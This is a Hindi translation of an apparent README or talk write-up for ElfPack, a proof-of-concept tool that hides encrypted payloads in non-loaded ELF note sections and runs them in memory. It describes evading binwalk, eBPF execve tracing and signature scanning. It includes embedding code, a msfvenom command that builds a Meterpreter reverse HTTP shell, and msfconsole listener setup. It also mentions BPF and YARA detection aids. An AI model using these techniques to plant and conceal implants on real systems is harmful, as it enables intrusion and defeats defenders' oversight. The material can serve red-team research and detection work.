ElfPack: स्टेजलेस पेलोड डिलीवरी के लिए ELF बाइनरी सेक्शन डॉकिंग

मुख्य बातें

• पेलोड बंडलिंग तंत्र का अवलोकन: संकलन, लिंकिंग और लोडिंग।
• बाइनरी संगतता और उनके डिलीवरी तंत्र से ढीले युग्मित पेलोड का निर्माण।
• सेक्शन का स्वचालित मेमोरी लोडिंग से बचाव।
• संरचित सेक्शन प्रकारों का उपयोग।
• ELF सेक्शन के माध्यम से फ़ील्ड में पेलोड (पुनः) लोडर से जोड़ना। अपना पेलोड लाएं।
• अलग किए गए प्रीकंपाइल्ड ELF सेक्शन के साथ हस्ताक्षर चोरी।
• पेलोड जनरेशन पाइपलाइन के साथ ड्राइव-बाय पेलोड अटैचमेंट।
• फ़ैट पेलोड बाइनरी का निर्माण और बाइनरी पैकर्स से बचने का मामला।
• जटिल पेलोड को पैक करना।
• पेलोड ऑबफ़स्केशन और कुंजी सुरक्षा विकल्प।
• स्थैतिक और गतिशील पेलोड लोडिंग ट्रेसिंग प्रतिरोध। बिनवॉक और eBPF।

पेलोड को एम्बेड करना

संकलन और लिंकिंग के साथ हेक्स-बाइनरी समावेशन

1. सीधे डिफ़ॉल्ट डेटा सेक्शन या टेक्स्ट में: सामान्यतः, कंपाइलर अपने द्वारा उत्पन्न ऑब्जेक्ट्स को .data जैसे सेक्शन में रखता है।

payload.h:

const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

मैन्युअल रूप से या bin2c या xxd -i payload.bin > payload.h जैसे टूल्स के साथ आगे हेडर समावेशन के साथ प्राप्त किया जाता है।

पेलोड को सामान्य रूप से .text और .data में संग्रहीत करना भी एक बुरा विचार है, क्योंकि लोडिंग ट्रेसिंग और निष्पादन के लिए डेटा लोड करने के व्यवहारिक अर्थशास्त्र की जांच आसान हो जाती है।

2. एक अलग सेक्शन में। आप पेलोड डेटा को अतिरिक्त सेक्शन में रख सकते हैं, या आप चाहते हैं कि कुछ विशेष चर विशेष सेक्शन में दिखाई दें। यह कंपाइलर-निर्भर तंत्र से प्राप्त होता है। gcc में, यह __attribute__ के माध्यम से किया जाता है। यह थोड़ा बेहतर है लेकिन फिर भी अच्छी तरह से ट्रेस करने योग्य है क्योंकि ELF कैसे बनाया और लोड किया जाता है।

char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Initialize stack pointer */
    init_sp (stack + sizeof (stack));

    /* Initialize initialized data */
    memcpy (&init_data, &data, &edata - &data);
}

3. लिंकर बाइनरी समावेशन

असेंबलर-निर्भर .incbin-जैसी निर्देश एक सेक्शन बना सकती है और एक पेलोड एम्बेड कर सकती है। उदाहरण: gcc -c payload.s या ld -r -b payload.bin -o payload.o

.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

लोडर में आगे पुनर्प्राप्ति के साथ:

int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

नोट: हम payload.bin में एक पूरी तरह से कार्यात्मक ELF शामिल कर सकते हैं, जो महत्वपूर्ण है जब "फ़ैट" बाइनरी बनाने की बात आती है, जिसमें कई टूलकिट के तत्व होते हैं।

नोट: कार्य को पूरा करने के लिए अधिक एर्गोनोमिक टूल मौजूद हैं, जैसे @graphitemaster से INCBIN [link]

इसी विषय पर एक भिन्नता इनलाइन ASM है:

/* Raw image data for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Image structures for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

नोट: सेक्शन की परिभाषा में PROGBITS पर ध्यान दें, यह महत्वपूर्ण होगा।

कंपाइलर/लिंकर-आधारित पेलोड बाइनरी समावेशन आदर्श नहीं है

इसमें व्यापार-नापसंद हैं:

• एम्बेडिंग की प्रक्रिया पेलोड लोडर के निर्माण से कसकर युग्मित होती है।
• पेलोड प्रारूप में बदलाव के बारे में क्या?
• डिफ़ॉल्ट रूप से डेटा ले जाने वाले सेक्शन पर PROGBITS फ़्लैग सेट होते हैं, और यह OS लोडर द्वारा डिफ़ॉल्ट रूप से मेमोरी में PT_LOAD’ed होगा। हम यह नहीं चाह सकते।

एक सेक्शन का ELF डिस्क/मेमोरी प्रतिनिधित्व

सेक्शन का प्रकार और नए सेक्शन पर सेट किए गए फ़्लैग यह निर्धारित करते हैं कि OS लोडर निष्पादन योग्य लॉन्च होने पर इसे मेमोरी में लोड करता है या नहीं। कुछ सेक्शन स्वचालित रूप से लोड होते हैं, अन्य नहीं (जैसे .symtab, .strtab)

आक्रामक के रूप में, हम इससे क्या दक्षताएँ प्राप्त कर सकते हैं?

पेलोड एम्बेड करना: दूसरा प्रयास

1. हम उन सेक्शन पर फ़्लैग सेट करने से बच सकते हैं जो मेमोरी में डिफ़ॉल्ट लोडिंग मानते हैं।

2. हम एक अलग प्रकार के सेक्शन का उपयोग कर सकते हैं जो मेमोरी में लोड नहीं होता।

एक विक्रेता या सिस्टम इंजीनियर को किसी ऑब्जेक्ट फ़ाइल को विशेष जानकारी से चिह्नित करने की आवश्यकता हो सकती है जिसे अन्य प्रोग्राम अनुरूपता या संगतता के लिए जांच सकते हैं। SHT_NOTE प्रकार के सेक्शन और PT_NOTE प्रकार के प्रोग्राम हेडर तत्व इस उद्देश्य के लिए उपयोग किए जा सकते हैं।

बाद के मामले में, हम सिस्टम बाइनरी में इस प्रकार के सेक्शन का उपयोग देख सकते हैं:

$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

और उनकी सामग्री का निरीक्षण कर सकते हैं:

$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

SHT_NOTE सेक्शन बनाने का अंतिम परिणाम ELF में इस प्रकार दिखेगा:

बोनस: SHT_NOTE हमें संरचना देता है यदि हमें इसका उपयोग करने की आवश्यकता है (और हम आगे इसका उपयोग करेंगे):

ELF सेक्शन डॉकिंग

अब तक हम एक सेक्शन बनाने, OS लोडर द्वारा इसे मेमोरी में लोड होने से बचाने में सक्षम थे। सेक्शन फिलहाल ELF छवि में प्रभावी रूप से निष्क्रिय है। हम चर्चा करेंगे कि इसे थोड़ी देर बाद कैसे लोड किया जाए। हालाँकि, एक अधिक दबाव वाला प्रश्न यह है कि हम अभी भी कंपाइलर और लिंकर स्तर पर काम कर रहे हैं, और सेक्शन एक ऑब्जेक्ट है जो अंतिम ELF की संरचना में बुना जाता है, जो लोडर कोड से संबंध और मेमोरी पते बनाता है जो इसकी सामग्री को संदर्भित करता है।

क्या होगा यदि हम एक एम्बेडेड पेलोड के साथ एक ELF सेक्शन को लोडर संकलन वर्कफ़्लो के बाहर बना सकें, और बाद में उस सेक्शन को लोडर बाइनरी से जोड़ सकें? यह लोडर कोड और सेक्शन इंटरैक्शन के बीच संबंध को तोड़ देगा। फिर हम लोडर को सिखाएंगे कि अपने विदेशी डेटा सेक्शन को कैसे खोजें और लोड करें, प्रभावी रूप से एक लोडर में एक पेलोड को ढीले युग्मित तरीके से "डॉक" करना।

अवधारणात्मक रूप से, हमारे लक्ष्य होंगे:

• लोडर पेलोड अर्थशास्त्र में उलझा नहीं होना चाहिए।
• पेलोड को लोड करना और निष्पादित करना:
  • बिना लोडर कोड को बिल्कुल संशोधित किए?
  • बिना OS लोडर ld.so (ELF लोडर) का उपयोग किए, जो पेलोड के सेगमेंट को स्वचालित रूप से मेमोरी में लोड करता है।
• फ़ील्ड में पेलोड (पुनः) अटैचमेंट।

लोडर/पेलोड (सेक्शन में) संबंध अब इस प्रकार दिखेगा:

हम तब एक इंजेक्टर बना सकते हैं जो लोडर में एक पेलोड सेक्शन पेश करेगा, बिना कोड स्तर पर काम किए, केवल बाइनरी संगतता (और लोडर को किसी भी पेलोड सेक्शन को लोड करने के बारे में पता होना चाहिए)

इस तरह के सामान्य ELF सेक्शन डॉकिंग सेटअप से कुछ परिणाम:

1. स्थैतिक ELF लोडर को फिर अपने आप भेजा जा सकता है, पेलोड से रहित, केवल एक सेक्शन को मांग पर लोड करने और उससे पेलोड को बूटस्ट्रैप करने के तंत्र।

2. पेलोड को अलग से पैकेज किया जा सकता है और किसी भी समय एक स्थिर चरण के रूप में लोडर के साथ बंडल किया जा सकता है, या बाद में एक इंजेक्टर के साथ। पेलोड अक्सर एन्क्रिप्टेड हो सकता है, यदि आवश्यक हो तो स्वयं एक ELF निष्पादन योग्य हो सकता है, जब तक लोडर पेलोड की संरचना नहीं बल्कि केवल इसकी पैकेजिंग क्षमताओं को जानता है।

3. इंजेक्टर कई बाइनरी (निष्क्रिय चरणों) से सेक्शन के अटैचमेंट की मध्यस्थता कर सकता है ताकि एक सेक्शन का निर्माण किया जा सके और लोडर में इंजेक्ट किया जा सके।

4. निष्पादन योग्य में कई संसाधनों को पैक करने बनाम सेक्शन स्तर के निर्माण के लाभ हैं। पैकर प्रसंस्करण और कोड का पता लगाने पर कोई ओवरहेड नहीं है। कई सेक्शन को अन्य टूलिंग के साथ ले जाने के मामले में जीत होती है जो इन-मेमोरी लॉन्च पर निर्भर करता है और पैकर्स के कारण आसानी से पैक नहीं किया जा सकता है क्योंकि पैकर्स को बाइनरी को फ़ाइल सिस्टम में निकालना पड़ता है। (फ़ैट बाइनरी सेक्शन आगे)

ELF डॉकिंग घटक:

आइए ELF सेक्शन डॉकिंग घटकों पर विस्तार से चर्चा करें।

अनुभागीय ELF इंजेक्टर:

स्थिति: पीछे या फ़ील्ड में लाभ:

• अज्ञेय लोडर से पेलोड प्रॉक्सी
• सुव्यवस्थित पेलोड जनरेशन पाइपलाइन
• आवश्यकता पड़ने पर कंपाइलर के बिना फ़ील्ड में लोडर से पेलोड अटैचमेंट

अनुभागीय ELF लोडर:

स्थिति: फ़ील्ड में लाभ:

• संलग्न पेलोड के लिए अज्ञेय
• अपनी बाइनरी को पढ़कर और पार्स करके पूर्ण ELF या शेलकोड (अधिक संभावनाएँ) लोड करता है।
• यदि आपको शेलकोड की आवश्यकता है, तो आप इससे एक चलने वाला ELF बना सकते हैं (जैसे Metasploit's mettle)
• ट्रेसिंग mprotect() नहीं देखती
• जहाँ पेलोड है और सामान्य .DATA सरणियों के बीच वायुगतिकीय पृथक्करण।
• यह ट्रेसर्स के लिए अमूर्तता प्राप्त करता है।
• पेलोड को स्वयं तर्क स्वीकार करने और अग्रेषित करने की क्षमता

बाइनरी पेलोड:

लाभ:

• पेलोड कम बाधाओं वाला एक पूरी तरह से कार्यात्मक प्रोग्राम है, डेटा, सेगमेंट LDD बरकरार।
• इसे स्थान की परवाह किए बिना विशिष्ट रूप से अस्पष्ट किया जा सकता है (.NOTE रिकॉर्ड परिवर्तनीय आकार के होते हैं)
• इसे FS में निकाला जा सकता है या सामग्री तालिका (फ़ैट पेलोड लोडर) के भाग के रूप में चलाया जा सकता है।
• इसे पुनर्स्थापित करने की आवश्यकता नहीं है, अन्य लोडरों से जोड़ा जा सकता है।
• क्रॉस-अटैचमेंट और डिटेक्शन चोरी का उदाहरण: लोडर A लोडर B के पेलोड को पढ़ता है।

चोरी के अवसर

ELF अनुभागीय इंजेक्टर/पैकर को मजबूत करना:

• XOR'd पेलोड लेकिन AES लागू किया जा सकता है।
• XOR कुंजी मेटाडेटा आउट-ऑफ-बैंड वॉटरमार्क में संग्रहीत।
• XOR कुंजियाँ प्रकट नहीं होतीं।
• अतिरिक्त XOR'd डेटा अस्पष्टीकरण संभव।

ELF लोडर को मजबूत करना:

• XOR'd पेलोड डिफ़ॉल्ट, लेकिन AES लागू किया जा सकता है।
• XOR कुंजी मेटाडेटा आउट-ऑफ-बैंड वॉटरमार्क में खनन किया जाता है।
• यदि आवश्यक हो तो लोडर लॉन्च के समय और पेलोड लोड के समय का पृथक्करण।
• डेमोनाइजेशन की सुविधा (userland exec और memfd_create के साथ काम करने की क्षमता)
• पेलोड एन्ट्रॉपी गणना और एंटी-कार्विंग के लिए चोरी की संभावना: बिनवॉक डिफ़ॉल्ट रूप से पेलोड नहीं देखता, कार्व नहीं कर सकता (डेमो में उदाहरण: msfvenom'd पेलोड पैक करना)

ELF सेक्शन डॉकिंग टूलकिट-विशेष लोडर चर्चा:

ELF अनुभागीय लोडर के पेलोड लॉन्चर के साथ काम करने के बारे में कुछ शब्द:

लोडर दो इन-मेमोरी पेलोड निष्पादन तंत्रों में से एक का उपयोग कर सकता है:

• विकल्प A: SYS_Memfd_create ()

  • libreflect[link] के साथ किया जाता है लेकिन zombieant प्री-लोडर[link] के साथ भी किया जा सकता है।
  • स्तरों पर अधिक पता लगाने योग्य:
    • /proc/self/fd/ में अनाम फ़ाइल
    • sys_memfd_create (syscall #319) का उपयोग करता है
  • fork/exec करता है, BPF ट्रेसिंग execve() को रिकॉर्ड करेगी।

• विकल्प B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)

  • अब के लिए libreflect के साथ किया जाता है। अच्छा इंटरफ़ेस।
  • लोडर को खोखला करता है और पेलोड के साथ ओवरले करता है।
  • कोई sys_enter_exec /sys_exit_exec कॉल नहीं। execve() के लिए BPF ट्रेसिंग पकड़ नहीं पाती।
  • नकारात्मक पक्ष: आप लोडर के माध्यम से डेमोनाइज नहीं कर सकते (लोडर मेमोरी ओवरले पर खत्म हो जाती है) लेकिन पेलोड स्वयं डेमोनाइज कर सकता है जब लॉन्च होता है: शेलकोड बनाम ELF बाइनरी भेजने की खूबसूरती

वर्कफ़्लो रन:

ELF अनुभागीय पेलोड बनाम MSF पेलोड के बाद बिनवॉक के चोरी के अवसर:

ELF अनुभागीय पैकर बनाम eBPF चोरी:

डिटेक्शन टूलिंग:

YARA सत्यापनकर्ता और परीक्षण:

STIX टूलिंग परिभाषा:

ELFPack POC का निर्माण

• Cmake के लिए: स्वच्छ बिल्ड से पहले चलाएँ: cmake --configure . अपने बिल्ड वातावरण को कॉन्फ़िगर करने के लिए। हम वर्तमान में CMAke 3.18 का समर्थन करते हैं।
• ./build.sh

ELFPack निर्भरताएँ:

• हम इस POC के लिए https://github.com/rapid7/mettle से libreflect लाइब्रेरी का उपयोग करते हैं।
• यह आपके लिए बनाई गई है और vendor/lib/reflect/libreflect.a के अंतर्गत वितरित की गई है, लेकिन यदि आवश्यक हो तो मूल रिपॉजिटरी से पुनर्निर्मित किया जा सकता है।
• रनटाइम: यदि आप BPF और bpftrace के साथ खेलना चाहते हैं, तो कृपया अपने वितरण के लिए उपयुक्त कर्नेल हेडर स्थापित करें।

उपयोग

• फ्रंटएंड: run.sh देखें
• बैकएंड: यह PoC mettle metasploit इम्प्लांट के साथ काम करता है, इसलिए MSF सर्वर पर अपने ट्रैफ़िक को पकड़ने के लिए आप aux/msfrc RC फ़ाइल का उपयोग इस प्रकार करेंगे:

msfconsole -r aux/triage/msfrc

• MSF पेलोड (mettle) निम्नानुसार उत्पन्न किया जा सकता है:

msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf

• BPF ट्रेसिंग निम्नानुसार की जा सकती है (आपको रूट की आवश्यकता है):

sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt

• Python बाइंडिंग के माध्यम से YARA एकीकरण का उदाहरण aux/triage/elfpack_yar.py में देखा जा सकता है

./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]